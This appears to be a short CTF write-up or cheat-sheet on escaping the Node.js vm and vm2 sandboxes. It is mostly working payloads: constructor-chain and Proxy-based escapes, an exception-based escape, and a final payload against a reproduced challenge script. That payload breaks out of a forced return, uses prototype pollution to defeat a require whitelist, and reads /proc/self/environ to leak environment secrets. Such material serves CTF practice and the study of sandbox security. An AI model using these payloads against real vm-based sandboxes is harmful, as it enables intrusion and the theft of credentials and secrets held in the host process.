🌀Escaping nodejs vm

trick to escaping vm / vm2 in nodejs

Access global variable

// A global variable the sandbox isn't supposed to see:

flag = "N2L{this_the_global_flag}"; 

Using constructor

const code2 = `(this.constructor.constructor("return flag"))()`;
console.log(vm.runInContext(code2, vm.createContext({}))); // -> N2L{this_the_global_flag}

Using new Proxy

new Proxy({}, {
  set: function(me, key, value) { (value.constructor.constructor('console.log(flag)'))() }
})

new Proxy({}, {
  get: function(me, key) { (arguments.callee.caller.constructor('console.log(flag)'))() }
})

Using throw an exception

throw new Proxy({}, {
  get: function(me, key) {
	 const cc = arguments.callee.caller;
	 if (cc != null) {
		(cc.constructor.constructor('console.log(flag)'))();
	 }
	 return me[key];
  }
})

Bypassing force return & proccess null

const { workerData, parentPort } = require('worker_threads');

require("./worker_globals.js");

const vm = require('vm');

const secret = process.env["SECRET"];
const flag = process.env["FLAG"];

const stringifyVMOutput = (value) => {
    let result = '';

    switch (typeof value) {
        case 'string':
        case 'object':
            result = JSON.stringify(value);
        
        default:
            result = String(value);
    };

    const cr3Pattern = /cr3\{(.*?)\}/i;
    const cr3MatchSecret = secret.match(cr3Pattern);
    const cr3MatchFlag = flag.match(cr3Pattern);

    if ((cr3MatchSecret && result.includes(cr3MatchSecret[1])) || (cr3MatchFlag && result.includes(cr3MatchFlag[1]))) {
        return "you don't wanna see it, trust me...";
    }

    return result;
};

process.env = null;
process = null;
fetch = null;

const moduleRequire = globalThis.module.require;
globalThis.module.require = (id) => {
    const whitelist = [
        "crypto",
        "path",
        "buffer",
        "util",
        "worker_threads",
        "stream",
        "string_decoder",
        "console",
        "perf_hooks"
    ];

    if (!whitelist.some(p => id == p))
        return;
    
    return moduleRequire(id);
}
let result;
try {
    result = vm.runInNewContext(`(() => { return ${workerData} })();`, Object.create(null));

    parentPort.postMessage(stringifyVMOutput(result));
} catch (e) {
    parentPort.postMessage(e.message);
}

in this code we get force return, we can bypass it using

},function p(){ 

so it will , so example

(() => { return },function p(){ we can control thiss })();

so what the plans to get the env flag? we can using constructor and method Using new Proxy

but we can see that we get require restricted. so how to bypass it? we can use prototype pollution

Array.prototype.some = () => true

it will prototype all the array. and we can bypass it

here are the full payload to read the env ( we cant use child_proccess because the node version )

},function p(){ return new Proxy({}, {
  get: function(me, key) { (arguments.callee.caller.constructor('Array.prototype.some = () => true;r=globalThis.module.require;r(r("fs").readFileSync("/proc/self/environ").toString())'))() }
})

Refference
https://github.com/maple3142/My-CTF-Challenges/blob/master/HITCON%20CTF%202023/Harmony/exp/index.js
https://hackmd.io/@Solderet/HJ52F9496
https://gist.github.com/jcreedcmu/4f6e6d4a649405a9c86bb076905696af